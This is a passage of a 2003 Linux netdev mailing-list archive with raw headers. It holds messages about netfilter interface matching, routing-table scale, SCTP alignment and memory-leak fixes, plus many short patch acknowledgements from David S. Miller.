Harald, > > >=20 > > > Could you not resolve all the ifindices of the said ppp+ interfaces > > > at rule installation time and do an integer compare instead? > >=20 > > No, this is a different semantic. Ifindexes change when an interface > > goes down and comes up again (let's say you have a PPTP tunnel server > > which terminates a couple of ppp* interfaces). > >=20 >=20 > If ifindices change for the same device name then that would be a bug. > The only time they should change is if a) you reboot or b) you unload a > module after ifconfiged down the device(s) and then reload it later. > In both cases if you have exactly the same setup, the chances of those > ifindices changing are very slim. What about a ppp interface that is deleted because pppd terminated. Then you start a new pppd that uses the same ppp interface [i.e. ppp12]. Would ifindex still be guaranteed to be the same in that case? > cheers, > jamal --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --JgQwtEuHJzHdouWu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/a+qKXaXGVTD0i/8RArmMAKCos2qq2K71Nv3preX0vv0jW7O2RQCdGigx Hc4OPCRUp2KxYSc2b8vx+uU= =dYwj -----END PGP SIGNATURE----- --JgQwtEuHJzHdouWu-- From davem@pizda.ninka.net Fri Sep 19 23:49:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 23:50:09 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K6nuFx029546 for ; Fri, 19 Sep 2003 23:49:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA09245; Fri, 19 Sep 2003 23:37:30 -0700 Date: Fri, 19 Sep 2003 23:37:30 -0700 From: "David S. Miller" To: Kristen Carlson Cc: netdev@oss.sgi.com Subject: Re: patricia tries vs. hash for routing? Message-Id: <20030919233730.75969de6.davem@redhat.com> In-Reply-To: <20030919214837.GA3012@sirius.cs.pdx.edu> References: <20030919214837.GA3012@sirius.cs.pdx.edu> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 70 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 683 Lines: 15 On Fri, 19 Sep 2003 14:48:37 -0700 Kristen Carlson wrote: > I was looking through some very old mail list discussions (1996!) on this > topic, and the feeling then was that the code was optimal for < 60,000 routes. > Given that much has happened since then, is it still a fair assumption to say > that the linux routing algorithm is optimized for < 60,000 routes, but a > more BSD-like algorithm works better for > 60,000 routes? That's not true at all, the current code can handle many more than 60,000 routes. Don't speak with abstract claims that bear no content, do your own experiments with a properly configured system and report them in detail here. From davem@pizda.ninka.net Fri Sep 19 23:52:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 23:52:06 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K6q2Fx029860 for ; Fri, 19 Sep 2003 23:52:02 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA09257; Fri, 19 Sep 2003 23:39:09 -0700 Date: Fri, 19 Sep 2003 23:39:09 -0700 From: "David S. Miller" To: Sridhar Samudrala Cc: acme@conectiva.com.br, netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 Message-Id: <20030919233909.7ec3aab0.davem@redhat.com> In-Reply-To: References: <20030918195525.28c17cb1.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 71 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 683 Lines: 17 On Fri, 19 Sep 2003 15:15:53 -0700 (PDT) Sridhar Samudrala wrote: > But unfortunately i am not able see this problem with a parisc64 cross compiler > on i386. So it makes it hard to debug or fix it. Looks like this happens only > when building natively on a parisc64 machine which i don't have access to. Did you build with or without SMP enabled? Anyways, try to work with Arnaldo to figure out the precise statement causing the problems. > Also while reviewing the code in sctp_pack_cookie(), i noticed a structure > copy. Are structure copies portable across all the archictectures? Should we > replace it with a memcpy? Yes, structure copies are portable. From davem@pizda.ninka.net Sat Sep 20 00:39:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:39:53 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7dkFx000818 for ; Sat, 20 Sep 2003 00:39:47 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09449; Sat, 20 Sep 2003 00:27:25 -0700 Date: Sat, 20 Sep 2003 00:27:24 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tcp_diag.c -- use static,const,void Message-Id: <20030920002724.359d9139.davem@redhat.com> In-Reply-To: <20030919100632.48dd8e27.shemminger@osdl.org> References: <20030919100632.48dd8e27.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 72 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 256 Lines: 7 On Fri, 19 Sep 2003 10:06:32 -0700 Stephen Hemminger wrote: > Cleanup internals of tcp_diag.c. Make functions static, use const for > parameters in match functions, use void * when generic ptr is intended. Applied, thanks Stephen. From davem@pizda.ninka.net Sat Sep 20 00:44:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:44:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7i6Fx001183 for ; Sat, 20 Sep 2003 00:44:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09481; Sat, 20 Sep 2003 00:31:44 -0700 Date: Sat, 20 Sep 2003 00:31:44 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, ncorbic@sangoma.com Subject: Re: [PATCH] wan: remove multi-line string literal Message-Id: <20030920003144.74b5d2b3.davem@redhat.com> In-Reply-To: <20030919112746.3df80578.rddunlap@osdl.org> References: <20030919112746.3df80578.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 73 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 351 Lines: 12 On Fri, 19 Sep 2003 11:27:46 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied. How response is ncorbic@sangoma.com ever for these patches? If he never responds, just direct the patches to Jeff or myself in the future. If ncorbic wants to actively maintain this stuff he'll have to start replying. :) From davem@pizda.ninka.net Sat Sep 20 00:44:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:44:56 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7iqFx001509 for ; Sat, 20 Sep 2003 00:44:52 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09508; Sat, 20 Sep 2003 00:32:27 -0700 Date: Sat, 20 Sep 2003 00:32:27 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, ncorbic@sangoma.com Subject: Re: [PATCH] wan: convert taskqueues to workqueues Message-Id: <20030920003227.47d400be.davem@redhat.com> In-Reply-To: <20030919114641.43d57172.rddunlap@osdl.org> References: <20030919114641.43d57172.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 74 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 247 Lines: 8 On Fri, 19 Sep 2003 11:46:41 -0700 "Randy.Dunlap" wrote: > This patch converts (or attempts to convert) drivers/net/wan/* > from task queues to the workqueue API, plus a few other small > cleanups. Looks good to me, applied. From davem@pizda.ninka.net Sat Sep 20 00:47:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:47:51 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7lfFx001855 for ; Sat, 20 Sep 2003 00:47:47 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09525; Sat, 20 Sep 2003 00:35:16 -0700 Date: Sat, 20 Sep 2003 00:35:16 -0700 From: "David S. Miller" To: "MORANGE,DAMIEN (HP-France,ex1)" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com, samudrala@us.ibm.com, lksctp-developers@lists.sourceforge.net Subject: Re: [PATCH] lksctp 0.6.9 backport on 2.4.23-pre4 Message-Id: <20030920003516.344e8e14.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 75 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 179 Lines: 6 On Fri, 19 Sep 2003 14:41:31 +0200 "MORANGE,DAMIEN (HP-France,ex1)" wrote: > Looks good, pulled thanks. From davem@pizda.ninka.net Sat Sep 20 00:48:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:48:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7mSFx001986 for ; Sat, 20 Sep 2003 00:48:28 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09547; Sat, 20 Sep 2003 00:36:06 -0700 Date: Sat, 20 Sep 2003 00:36:05 -0700 From: "David S. Miller" To: John Levon Cc: netdev@oss.sgi.com Subject: Re: [PATCH] SEQ_START_TOKEN for af_netlink.c Message-Id: <20030920003605.1bc998ee.davem@redhat.com> In-Reply-To: <20030918212518.GA86845@compsoc.man.ac.uk> References: <20030918212518.GA86845@compsoc.man.ac.uk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 76 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 141 Lines: 6 On Thu, 18 Sep 2003 22:25:18 +0100 John Levon wrote: > Seems this got missed in the sweep. Applied, thanks John. From davem@pizda.ninka.net Sat Sep 20 00:52:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:52:57 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7qrFx002528 for ; Sat, 20 Sep 2003 00:52:53 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09679; Sat, 20 Sep 2003 00:40:29 -0700 Date: Sat, 20 Sep 2003 00:40:28 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, ncorbic@sangoma.com Subject: Re: [PATCH] [WAN] use module_exit in sdladrv Message-Id: <20030920004028.3217a964.davem@redhat.com> In-Reply-To: <20030918112106.198f3677.rddunlap@osdl.org> References: <20030918112106.198f3677.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 77 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Thu, 18 Sep 2003 11:21:06 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 00:55:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:55:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7t3Fx002854 for ; Sat, 20 Sep 2003 00:55:03 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09693; Sat, 20 Sep 2003 00:42:42 -0700 Date: Sat, 20 Sep 2003 00:42:42 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] more const in skbuff Message-Id: <20030920004242.2d2a029d.davem@redhat.com> In-Reply-To: <20030918204253.GA43611@gaz.sfgoth.com> References: <20030918102709.34211ee5.shemminger@osdl.org> <20030918204253.GA43611@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 78 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1082 Lines: 25 On Thu, 18 Sep 2003 13:42:53 -0700 Mitchell Blank Jr wrote: > Are you sure that atomic_read() is garaunteed to take a const pointer? > My understanding is that an arch could in theory take a spinlock (although > none do currently) > > If it is garaunteed to take a const pointer then please fix the inline in > include/asm-parisc/atomic.h or your patch will create a lot of warnings on > that architecture. I think it is, we decided a bit ago that spinlock based atomics were a bad idea, and even with that the spinlock atomic_t implementations do not take the lock in their atomic_read() implementation, they merely wait to get a sample with the lock clear. > Other than that this patch is a strict subset of the "small skbuff.[ch] > tweaks" patch I posted here 2 weeks ago: > http://oss.sgi.com/projects/netdev/archive/2003-09/msg00036.html > Never heard from davem one way or the other on that one. Stuff often slips through the cracks from time to time, silence doesn't necessary mean outright rejection so resend. I'm going to apply Stephen's patch. From davem@pizda.ninka.net Sat Sep 20 00:56:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 00:57:14 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K7upFx003183 for ; Sat, 20 Sep 2003 00:56:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09736; Sat, 20 Sep 2003 00:43:58 -0700 Date: Sat, 20 Sep 2003 00:43:58 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com, mikep@linuxtr.net, linux-tr@linuxtr.net Subject: Re: [PATCH] janitor: remove unneeded includes (tokenring) Message-Id: <20030920004358.2c6f64ba.davem@redhat.com> In-Reply-To: <20030917152724.342327e9.rddunlap@osdl.org> References: <20030917152724.342327e9.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 79 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 141 Lines: 6 On Wed, 17 Sep 2003 15:27:24 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks Randy. From davem@pizda.ninka.net Sat Sep 20 01:04:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:04:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K846Fx003673 for ; Sat, 20 Sep 2003 01:04:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09870; Sat, 20 Sep 2003 00:51:45 -0700 Date: Sat, 20 Sep 2003 00:51:45 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] janitor: remove unneeded includes (sk98lin) Message-Id: <20030920005145.5e7b8901.davem@redhat.com> In-Reply-To: <20030917153003.5b5ecae5.rddunlap@osdl.org> References: <20030917153003.5b5ecae5.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 81 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Wed, 17 Sep 2003 15:30:03 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 01:03:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:03:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K83eFx003592 for ; Sat, 20 Sep 2003 01:03:40 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09848; Sat, 20 Sep 2003 00:51:18 -0700 Date: Sat, 20 Sep 2003 00:51:18 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] janitor: remove unneeded includes (skfp) Message-Id: <20030920005118.0437fcf0.davem@redhat.com> In-Reply-To: <20030917153129.355860eb.rddunlap@osdl.org> References: <20030917153129.355860eb.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 80 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Wed, 17 Sep 2003 15:31:29 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 01:05:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:05:35 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K85UFx004280 for ; Sat, 20 Sep 2003 01:05:30 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09936; Sat, 20 Sep 2003 00:53:06 -0700 Date: Sat, 20 Sep 2003 00:53:06 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] janitor: remove unneeded includes (hamradio) Message-Id: <20030920005306.4385e38e.davem@redhat.com> In-Reply-To: <20030917152433.2b253a0c.rddunlap@osdl.org> References: <20030917152433.2b253a0c.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 82 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Wed, 17 Sep 2003 15:24:33 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 01:06:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:06:18 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K86DFx004585 for ; Sat, 20 Sep 2003 01:06:13 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09958; Sat, 20 Sep 2003 00:53:46 -0700 Date: Sat, 20 Sep 2003 00:53:46 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jt@hpl.hp.com, jgarzik@pobox.com Subject: Re: [PATCH] janitor: remove (or add) unneeded includes (wireless) Message-Id: <20030920005346.43457472.davem@redhat.com> In-Reply-To: <20030917151738.76585759.rddunlap@osdl.org> References: <20030917151738.76585759.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 83 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Wed, 17 Sep 2003 15:17:38 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 01:06:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:06:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K86fFx004806 for ; Sat, 20 Sep 2003 01:06:41 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA09988; Sat, 20 Sep 2003 00:54:17 -0700 Date: Sat, 20 Sep 2003 00:54:17 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, ncorbic@sangoma.com Subject: Re: [PATCH] janitor: remove unneeded includes (wanrouter) Message-Id: <20030920005417.5e1df3c6.davem@redhat.com> In-Reply-To: <20030917151318.316bfd24.rddunlap@osdl.org> References: <20030917151318.316bfd24.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 84 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 135 Lines: 6 On Wed, 17 Sep 2003 15:13:18 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-test5-current. Applied, thanks. From davem@pizda.ninka.net Sat Sep 20 01:10:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:10:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8AeFx005264 for ; Sat, 20 Sep 2003 01:10:40 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA10029; Sat, 20 Sep 2003 00:58:11 -0700 Date: Sat, 20 Sep 2003 00:58:11 -0700 From: "David S. Miller" To: =?ISO-8859-1?Q?J=F6rn?= Engel Cc: dychen@stanford.edu, linux-kernel@vger.kernel.org, mc@cs.stanford.edu, netdev@oss.sgi.com Subject: Re: [CHECKER] 32 Memory Leaks on Error Paths Message-Id: <20030920005811.09f12e07.davem@redhat.com> In-Reply-To: <20030916090748.GE27703@wohnheim.fh-wedel.de> References: <200309160435.h8G4ZkQM009953@elaine4.Stanford.EDU> <20030916090748.GE27703@wohnheim.fh-wedel.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8K8AeFx005264 X-archive-position: 85 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 329 Lines: 12 On Tue, 16 Sep 2003 11:07:48 +0200 Jörn Engel wrote: > Looks valid. And since skb isn't really needed until after these > returns, moving four lines down a bit fixes the problem. > > Davem, is this correct? Nope, now you're leaking the route instead of the SKB :-) I'll put the correct fix in. From davem@pizda.ninka.net Sat Sep 20 01:12:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:12:44 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8CeFx005579 for ; Sat, 20 Sep 2003 01:12:40 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10041; Sat, 20 Sep 2003 01:00:10 -0700 Date: Sat, 20 Sep 2003 01:00:10 -0700 From: "David S. Miller" To: Wensong Zhang Cc: shemminger@osdl.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (4/6) ipvs -- use reader locks and refcounts correctly. Message-Id: <20030920010010.7ed69543.davem@redhat.com> In-Reply-To: References: <20030916142116.58a05005.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 86 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 242 Lines: 9 On Thu, 18 Sep 2003 00:44:16 +0800 (CST) Wensong Zhang wrote: > So, maybe we just apply the simple patch with making the lock local and > tagging user pointers. Can someone put such a patch together for me? Thanks. From davem@pizda.ninka.net Sat Sep 20 01:13:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 01:13:34 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K8DUFx005896 for ; Sat, 20 Sep 2003 01:13:30 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA10068; Sat, 20 Sep 2003 01:01:06 -0700 Date: Sat, 20 Sep 2003 01:01:06 -0700 From: "David S. Miller" To: Wensong Zhang Cc: shemminger@osdl.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (2/6) ipvs -- get rid of register in declarations Message-Id: <20030920010106.1d5c895f.davem@redhat.com> In-Reply-To: References: <20030916141739.22ff0101.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 87 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 359 Lines: 9 On Thu, 18 Sep 2003 00:09:52 +0800 (CST) Wensong Zhang wrote: > If we are gonna to 